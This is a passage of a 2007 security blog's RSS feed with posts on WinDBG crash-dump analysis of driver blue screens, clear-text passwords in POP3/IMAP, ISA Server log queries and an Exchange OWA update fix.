style="font-family:verdana;"&gt;&lt;strong&gt;Error reported by the computer:&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;strong&gt;!analyze –v &lt;span style="font-family:verdana;"&gt;returns following information&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;STACK_COMMAND: .bugcheck ; kb&lt;br /&gt;FOLLOWUP_IP: fw+288aebf66b6aeb 0c8b or al,0x8b&lt;br /&gt;FAULTING_SOURCE_CODE:&lt;br /&gt;FOLLOWUP_NAME: MachineOwner&lt;br /&gt;SYMBOL_NAME: fw+288aeb&lt;br /&gt;MODULE_NAME: fw&lt;br /&gt;IMAGE_NAME: fw.sys &lt;strong&gt;&lt;span style="color:#330099;"&gt;&lt;-- It looks like fw.sys driver is causing problems&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;DEBUG_FLR_IMAGE_TIMESTAMP: 45214c7f&lt;br /&gt;FAILURE_BUCKET_ID: 0x8E_fw+288aeb&lt;br /&gt;BUCKET_ID: 0x8E_fw+288aeb&lt;br /&gt;Followup: MachineOwner&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong.808a3600 80839b02 00000000 0000000e 00000000 &lt;strong&gt;&lt;span style="color:#330099;"&gt;intelppm&lt;/span&gt;&lt;span style="color:#330099;"&gt;+0x2ca2&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;808a3604 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0xa&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;strong&gt;Let's take a look at registers&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;0: kd&gt; r&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;eax=6029c494 ebx=ffdffee0 ecx=ffdffee0 edx=00000041 esi=ffdffec0 edi=867edd70&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;eip=f75d9ca2 esp=808a35e4 ebp=808a3600 iopl=0 nv up ei pl nz na po nc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;&lt;strong&gt;&lt;span style="color:#330099;"&gt;intelppm+0x2ca2&lt;/span&gt;&lt;/strong&gt;:f75d9ca2 01895104fbf4 add [ecx+0xf4fb0451],ecx ds:0023:f4db0331=????????&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;I am not sure if this is actual dump file problem or something else. Analysis it stating that &lt;span style="font-family:courier new;"&gt;fw.sys&lt;/span&gt; caused the problem, but in STACK_TEXT and in registers we can spot &lt;span style="font-family:courier new;color:#330099;"&gt;&lt;strong&gt;intelppm+0x2ca2&lt;/strong&gt;&lt;/span&gt; (&lt;span style="font-family:courier new;"&gt;intelppm.sys&lt;/span&gt; driver). &lt;span style="font-family:courier new;"&gt;intelppm.sys&lt;/span&gt; is Microsoft's Processor Device Driver... :-). OK. Let's say I am willing to give benefit of the doubt to WinDBG... :-) &lt;/span&gt;&lt;span style="font-family:Verdana;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="font-family:verdana;"&gt;Let's get some more information about &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;fw.sys&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0: kd&gt; lm v m fw*&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;start end module name&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;f642e000 f69ceb20 fw (no symbols)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Loaded symbol image file: fw.sys &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Image path: fw.sys &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Image name: fw.sys &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Timestamp: Mon Oct 02 19:29:35 2006 (45214C7F) &lt;span style="color:#330099;"&gt;&lt;strong&gt;&lt;-- Coult be a bit old...&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CheckSum: 005ACF67 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ImageSize: 005A0B20 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Translations: 0000.04b0 0000.04e0 0409.04b0 0409.04e0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana;"&gt;&lt;strong&gt;And for &lt;span style="font-family:courier new;"&gt;intelppm.sys&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0: kd&gt; lm v m intel*&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;start end module name&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;f75d7000 f75e6000 intelppm T (no symbols)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Loaded symbol image file: intelppm.sys &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Image path: intelppm.sys &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Image name: intelppm.sys &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Timestamp: unavailable (FFFFFFFE) &lt;strong&gt;&lt;span style="color:#330099;"&gt;&lt;-- Hmmm... ?&lt;/span&gt;&lt;/strong&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CheckSum: missing &lt;strong&gt;&lt;span style="color:#330099;"&gt;&lt;-- Hmmm; This shouldn't be missing&lt;/span&gt;&lt;/strong&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ImageSize: 0000F000 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Translations: 0000.04b0 0000.04e0 0409.04b0 0409.04e0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-family:courier new;"&gt;fw.sys&lt;/span&gt; driver belongs to &lt;a href="http://www.checkpoint.com/"&gt;Check Point &lt;/a&gt;firewall.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;I checked for any updates on Chek Point's website and knowledgebase where they do list few problems/solutions related to &lt;span style="font-family:courier new;"&gt;fw.sys&lt;/span&gt; and blue screens. Unfortunately Check Point seemed to have some connectivity problems between their front end and backend servers and I was not able to see any solutions... At this point I turned the case over to our in house Check Point experts... :-)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-3331552227662856137?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2007/11/kernelmodeexceptionnothandled-8e-in.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-6675295059542720961</guid><pubDate>Mon, 05 Nov 2007 09:03:00 +0000</pubDate><atom:updated>2007-11-05T10:55:02.947+01:00</atom:updated><title>POP3 and (password) security</title><description>&lt;span style="font-family:verdana;"&gt;This is one of the most common "security misunderstanding" and I see it very often.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Whenever I am setting up e-mail servers and enabling web access, there is always a long and hard discussion on security. Customers are usually at this point worried about protection of their servers and usernames and passwords that will be sent over the internet. The obvious solution is SSL or even better TLS, which ensures that usernames, password and e-mail content are transferred from client computer to e-mail server and vice-versa in secure (encrypted) way.&lt;br /&gt;&lt;br /&gt;After this is done, I often get strangest request possible. Enable and open POP3 and/or IMAP access to the server... and with this one simple sentence all security planning and considerations are gone&lt;br /&gt;&lt;br /&gt;What I can't really understand is why is almost everyone thinking about security and SSL and encryption when it comes to web access and no one associates same security risks with POP3, IMAP, SMTP protocols and transfer of passwords?&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/pop3userpass-731840.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/pop3userpass-731836.jpg" border="0" /&gt;&lt;/a&gt;&lt;/span&gt; &lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;div align="center"&gt;Username and password are often sent in clear text (picture above)&lt;br /&gt;&lt;/div&gt;&lt;div align="center"&gt;Click image to enlarge&lt;/div&gt;&lt;br /&gt;POP3 is not some magical protocol that would encrypt anything by itself. Yes, it is possible to set up POP3 in secure way (POP3S, IMAPS), but requires a bit more work compared to HTTPS and web access.&lt;br /&gt;&lt;br /&gt;With web access you don't have to configure the clients, while with POP3 and IMAP you have to set the clients up to use secure protocols to send usernames and password in encrypted way. There is also an option which will protect (encrypt) the content of the e-mail while being downloaded from the server.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/content-798736.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/content-798733.jpg" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p align="center"&gt;Content is also often transfered without protection... (picture above)&lt;br /&gt;Click image to enlarge&lt;/p&gt;&lt;div align="center"&gt;&lt;/div&gt;None of this is done by default and most ISPs work in this manner! Even in closed (corporate) environments it can be a challenging, configuring couple of hundred if not thousands of clients. Most environments will have hard time doing the switch from insecure to secure protocols (e.g. POP3 to POP3S) because of extra configuration of the clients, possible downtime or even application incompatibilities. This is why it is extremely important to set up services and networks in a secure way in the first place.&lt;br /&gt;&lt;br /&gt;There is another situation to consider and it is important one for roaming users. If you move from your network to a network where you are a guest, you might only be allowed access to some basic protocols such as HTTP, HTTPS, SMTP, and POP3, but not POP3S. POP3 by default runs on TCP port 110 while POP3S by default runs on TCP port 995 which might not be open on a gust network preventing roaming users from accessing their e-mails. This is more common problem then one might expect. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-6675295059542720961?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2007/11/pop3-and-password-security.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-2134215920271681539</guid><pubDate>Wed, 31 Oct 2007 18:51:00 +0000</pubDate><atom:updated>2007-10-31T19:55:16.894+01:00</atom:updated><title>ISA Server 2006 Supportability Update</title><description>&lt;div align="left"&gt;&lt;span style="font-family:verdana;"&gt;I do a lot of work with different firewalls including &lt;a href="http://www.microsoft.com/isaserver/default.mspx"&gt;Microsoft ISA Server&lt;/a&gt;. As with any firewall, there is always something to troubleshoot. User can't access particular website, another user didn't receive his e-mail etc. These are all reasons why we need a good and fast way to filter and analyze firewall logs.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;In ISA Server 2004 and 2006 there are few new features that come with updates and allow firewall administrators to save existing queries in XML file and reuse them at a later time.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/query_2-768253.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/query_2-768251.jpg" border="0" /&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;/a&gt;&lt;/p&gt;&lt;p align="center"&gt;&lt;span style="font-family:verdana;"&gt;Click image to enlarge&lt;/span&gt; &lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;For me this is really a time saver. Now I don't have to waste time and write same filters over and over again (e.g. excluding specific traffic and including other). I can simply carry most common queries on my USB drive and import them whenever I need them.&lt;br /&gt;&lt;/p&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;p&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;On ISA Server 2004, you get these new features when you install &lt;a href="http://www.microsoft.com/technet/downloads/isa/2004/servicepacks/default.mspx"&gt;Service Pack 3 (SP3) for ISA Server&lt;/a&gt;.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;On ISA Server 2006, you can get these features by installing &lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=6f629eac-d8c6-4437-9d20-b47b02db413a&amp;amp;displaylang=en"&gt;ISA Server 2006 Supportability Update&lt;/a&gt; that you can download manually or you can use Microsoft Update Service.&lt;/span&gt; &lt;/p&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/windows-update-736357.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/windows-update-736283.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;span style="font-family:verdana;"&gt;Click image to enlarge&lt;/span&gt;&lt;/p&gt;&lt;p align="left"&gt;&lt;span style="font-family:Verdana;"&gt;More information on ISA Server 2006 Supportability Update package can be found here "&lt;a href="http://support.microsoft.com/kb/939455"&gt;Description of the Internet Security and Acceleration (ISA) Server 2006 Supportability Update package&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;"&gt;"&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-2134215920271681539?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2007/10/isa-server-2006-supportability-update.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-749900980566582682</guid><pubDate>Thu, 25 Oct 2007 21:32:00 +0000</pubDate><atom:updated>2007-10-26T07:28:23.124+02:00</atom:updated><title>0x9C_IA32_GenuineIntel -- MACHINE_CHECK_EXCEPTION (9c)</title><description>&lt;span style="font-family:verdana;"&gt;New memory.dmp file, new challenge... :-)&lt;br /&gt;&lt;br /&gt;After loading file to WinDBG and running a standard set of commands I am left with following relevant information.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;BUSCONNERR - Bus and Interconnect Error BUS{LL}_{PP}_{RRRR}_{II}_{T}_err These errors match the format 0000 1PPT RRRR IILL&lt;br /&gt;&lt;br /&gt;Concatenated Error Code: -------------------------- _VAL_UC_EN_ADDRV_PCC_BUSCONNERR_0&lt;br /&gt;&lt;br /&gt;This error code can be reported back to the manufacturer. They may be able to provide additional information based upon this error. All questions regarding STOP 0x9C should be directed to the hardware manufacturer.&lt;br /&gt;&lt;br /&gt;BUGCHECK_STR: 0x9C_IA32_GenuineIntel &lt;strong&gt;&lt;span style="color:#330099;"&gt;&lt;---- Error 0x0000009C&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;DEFAULT_BUCKET_ID: DRIVER_FAULT&lt;br /&gt;&lt;br /&gt;CURRENT_IRQL: 2&lt;br /&gt;&lt;br /&gt;LAST_CONTROL_TRANSFER: from 80a84154 to 8087c480&lt;br /&gt;&lt;br /&gt;STACK_TEXT:&lt;br /&gt;808a0770 80a84154 0000009c 00000000 808a07a0 nt!KeBugCheckEx+0x1b&lt;br /&gt;808a08a4 80a7b86f 80042000 00000000 00000000 hal!HalpMcaExceptionHandler+0x11e&lt;br /&gt;808a08a4 f6932f36 80042000 00000000 00000000 hal!HalpMcaExceptionHandlerWrapper+0x77&lt;br /&gt;808a3600 80839b02 00000000 0000000e 00000000 &lt;strong&gt;&lt;span style="color:#330099;"&gt;p3!AcpiC1Idle+0x12&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;808a3604 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0xa&lt;br /&gt;&lt;br /&gt;STACK_COMMAND: kb&lt;br /&gt;&lt;br /&gt;FOLLOWUP_IP:&lt;br /&gt;p3!AcpiC1Idle+12&lt;br /&gt;f6932f36 6a00 push 0x0&lt;br /&gt;&lt;br /&gt;FAULTING_SOURCE_CODE:&lt;br /&gt;&lt;br /&gt;SYMBOL_STACK_INDEX: 3&lt;br /&gt;&lt;br /&gt;FOLLOWUP_NAME: MachineOwner&lt;br /&gt;&lt;br /&gt;SYMBOL_NAME: p3!AcpiC1Idle+12&lt;br /&gt;&lt;br /&gt;MODULE_NAME: p3&lt;br /&gt;&lt;br /&gt;IMAGE_NAME: p3.sys &lt;strong&gt;&lt;span style="color:#330099;"&gt;&lt;---- Here it looks like p3.sys driver caused the crash &lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;DEBUG_FLR_IMAGE_TIMESTAMP: 45d6972c&lt;br /&gt;&lt;br /&gt;FAILURE_BUCKET_ID: 0x9C_IA32_GenuineIntel_p3!AcpiC1Idle+12&lt;br /&gt;&lt;br /&gt;BUCKET_ID: 0x9C_IA32_GenuineIntel_p3!AcpiC1Idle+12&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;Followup: MachineOwner---------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;From stack it looks like p3.sys driver (Processor Device Driver) caused the crash of the server. One the other hand error 0x9C (0x0000009C) indicates hardware error.&lt;br /&gt;&lt;br /&gt;Best article on the subject of 0x000000C (&lt;a href="http://support.microsoft.com/kb/162363"&gt;Understanding and troubleshooting the "Stop 0x0000009C" screen&lt;/a&gt;) states:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;"The Pentium and Pentium Pro processors provide a mechanism to detect and to report hardware-related problems such as memory parity errors and cache errors. To signal a hardware error, the processor signals the detection of a machine check error by generating a machine check exception (Interrupt 18). Windows NT simply reports the fact that the error occurred and displays parameters that you can use to decode the exception. Contact your hardware vendor or processor manufacturer for information regarding the Machine Check Architecture or consult the Intel Pentium Pro Family Developer's Manual - Volume 3: Operating System Writer's Manual."&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;Above information is also displayed in dump file.&lt;br /&gt;&lt;br /&gt;Full analysis of the dump file can be found &lt;a href="http://www.krneki.net/blog/extras/c9.txt"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Possible resolutions:&lt;/strong&gt;&lt;br /&gt;Best recommendation suggested by above KB article is "&lt;em&gt;contact your hardware vendor&lt;/em&gt;"&lt;br /&gt;&lt;br /&gt;&lt;a href="http://wer.microsoft.com/responses/Response.aspx/134/en-US/0.0.0000.0.00000000.0.0?SGD=95e5f702-5414-4485-9db2-d3ad4306d722"&gt;Problem caused by computer hardware&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;What you can do on your own?&lt;/strong&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Test your hardware (&lt;a href="http://oca.microsoft.com/en/windiag.asp"&gt;memory&lt;/a&gt;, processor, ...)&lt;/li&gt;&lt;li&gt;Check hardware connections&lt;/li&gt;&lt;li&gt;Think about recent hardware changes (incompatible components)&lt;/li&gt;&lt;li&gt;Think about recent configuration changes (e.g. enable or disable ACPI)&lt;/li&gt;&lt;li&gt;Update BIOS and other hardware (firmware)&lt;/li&gt;&lt;li&gt;Stress test your hardware (best done before going into production with the server)&lt;span style="font-family:Verdana;"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-749900980566582682?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2007/10/0x9cia32genuineintel.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-9103670962290234264</guid><pubDate>Wed, 24 Oct 2007 20:05:00 +0000</pubDate><atom:updated>2007-10-24T22:08:18.589+02:00</atom:updated><title>Exchange Outlook Web Access (OWA) and red X</title><description>&lt;a href="http://www.krneki.net/blog/uploaded_images/RedX-785942.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/RedX-785939.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div align="center"&gt;Click image to enlarge&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;This problem ocures due to changes in Windows Vista and Internet Explorer 7 where dynamic HTML Editing ActiveX control was removed from Internet Explorer.&lt;br /&gt;&lt;br /&gt;To solve this problem you need to update your Exchange servers with "&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=5BC06E8A-08EB-4976-BC68-A03EBE3A2552&amp;amp;amp;displaylang=en&amp;amp;displaylang=en"&gt;Update for Exchange 2003 (KB 911829)&lt;/a&gt;". Note that you have to install Exchange 2003 SP2 before you can install this update.&lt;br /&gt;&lt;br /&gt;Related KB article: &lt;a href="http://support.microsoft.com/kb/911829"&gt;You receive an error message when you try to perform any editing tasks, or you must click to enable the compose frame in Outlook Web Access&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Important: &lt;/strong&gt;&lt;em&gt;Remember to always update your front-end servers first!&lt;/em&gt;&lt;br /&gt;If you update your back-end server first and there is change in OWA functionality, clients will most likely not be able to use OWA. In the past these errors presented themselves as “Loading” text in OWA that never finished loading.&lt;br /&gt;If you update your front-end server first, server will know about changes in functionality and will serve clients with working OWA. Now you can take your time and update all your back-end servers when you find time ;-).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-9103670962290234264?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2007/10/exchange-outlook-web-access-owa-and-red.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item></channel></rss>